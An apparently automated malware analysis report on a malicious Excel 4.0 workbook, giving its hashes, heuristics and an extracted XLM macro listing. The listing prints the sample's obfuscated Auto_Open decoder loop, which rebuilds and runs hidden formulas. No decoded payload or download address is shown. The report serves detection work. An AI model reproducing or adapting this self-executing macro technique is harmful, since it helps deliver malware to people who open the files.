Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b18ae3494532c271…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:35:07 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: c94cf5aea56701cefc6a96507fe97b4b SHA-1: f7ed297341f74f77338293b505951f2ec46f1a2a SHA-256: b18ae3494532c2719c681d848f95fa05e9a1a04b1deecab9f9ccd296eccee19b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6516 bytes
SHA-256: 65f159037d2307337b0e0c7d59ba710d1b88ce3694c486324ccbcf5e2537d8b6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zbYCAhLs
' 0018     21 LABEL : Cell Value, String Constant - aaQhqP len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A178 
' 0018     20 LABEL : Cell Value, String Constant - EtGUP len=0 
' 0018     27 LABEL : Cell Value, String Constant - EwqzVlWwmWbD len=0 
' 0018     27 LABEL : Cell Value, String Constant - htpTwGPizKFd len=0 
' 0018     20 LABEL : Cell Value, String Constant - htURk len=0 
' 0018     20 LABEL : Cell Value, String Constant - IPcNC len=0 
' 0018     23 LABEL : Cell Value, String Constant - iylWSXwj len=0 
' 0018     26 LABEL : Cell Value, String Constant - kEAzbRoIkFD len=0 
' 0018     21 LABEL : Cell Value, String Constant - lIzsll len=0 
' 0018     21 LABEL : Cell Value, String Constant - lsidUj len=0 
' 0018     22 LABEL : Cell Value, String Constant - MeYssUq len=0 
' 0018     24 LABEL : Cell Value, String Constant - mNrBclrWx len=0 
' 0018     26 LABEL : Cell Value, String Constant - NrZlSykICTx len=0 
' 0018     22 LABEL : Cell Value, String Constant - oUHVlTX len=0 
' 0018     24 LABEL : Cell Value, String Constant - pTefJIFel len=0 
' 0018     24 LABEL : Cell Value, String Constant - TfhhyByVA len=0 
' 0018     23 LABEL : Cell Value, String Constant - TtjrKUpq len=0 
' 0018     22 LABEL : Cell Value, String Constant - vcDKjbW len=0 
' 0018     21 LABEL : Cell Value, String Constant - wVhTNw len=0 
' 0018     27 LABEL : Cell Value, String Constant - XCcjeELbMMtJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zbYCAhLs,A90,"SET.NAME("MeYssUq",VALUE("0"))",""
'  zbYCAhLs,A92,"SET.NAME("wVhTNw",MeYssUq)",""
'  zbYCAhLs,A97,"SET.NAME("EwqzVlWwmWbD",MeYssUq)",""
'  zbYCAhLs,A102,"SET.NAME("oUHVlTX",COUNTA(IPcNC))",""
'  zbYCAhLs,A105,"SET.NAME("TtjrKUpq",COUNTA(aaQhqP))",""
'  zbYCAhLs,A108,[],""
'  zbYCAhLs,A111,"SET.NAME("pTefJIFel","")",""
'  zbYCAhLs,A114,"wVhTNw",""
'  zbYCAhLs,A116,"SET.NAME("XCcjeELbMMtJ",HLOOKUP("*",IPcNC,wVhTNw,FALSE))",""
'  zbYCAhLs,A119,"EtGUP",""
'  zbYCAhLs,A123,"SET.NAME("htURk",MeYssUq)",""
'  zbYCAhLs,A125,[],""
'  zbYCAhLs,A129,"htURk",""
'  zbYCAhLs,A133,"iylWSXwj",""
'  zbYCAhLs,A137,"TfhhyByVA",""
'  zbYCAhLs,A141,"kEAzbRoIkFD",""
'  zbYCAhLs,A143,"SET.NAME("mNrBclrWx",VALUE(HLOOKUP("*",aaQhqP,kEAzbRoIkFD,FALSE)))",""
'  zbYCAhLs,A145,"lIzsll",""
'  zbYCAhLs,A147,"pTefJIFel",""
'  zbYCAhLs,A150,"EwqzVlWwmWbD",""
'  zbYCAhLs,A155,NEXT(),""
'  zbYCAhLs,A158,"htpTwGPizKFd",""
'  zbYCAhLs,A163,"SET.NAME("f",INT(T(FORMULA(T(pTefJIFel)&"",""&T(htpTwGPizKFd)))))",""
'  zbYCAhLs,A166,"NrZlSykICTx",""
'  zbYCAhLs,A169,NEXT(),""
'  zbYCAhLs,A174,RETURN(),""
'  zbYCAhLs,A198,"SET.NAME("lsidUj",A90)",""
'  zbYCAhLs,A202,"IPcNC",""
'  zbYCAhLs,A207,"SET.NAME("aaQhqP",R67C15)",""
'  zbYCAhLs,A210,"SET.NAME("NrZlSykICTx",219)",""
'  zbYCAhLs,A213,"SET.NAME("vcDKjbW",1)",""
'  zbYCAhLs,A218,lsidUj(),""
'  zbYCAhLs,A219,HALT(),""

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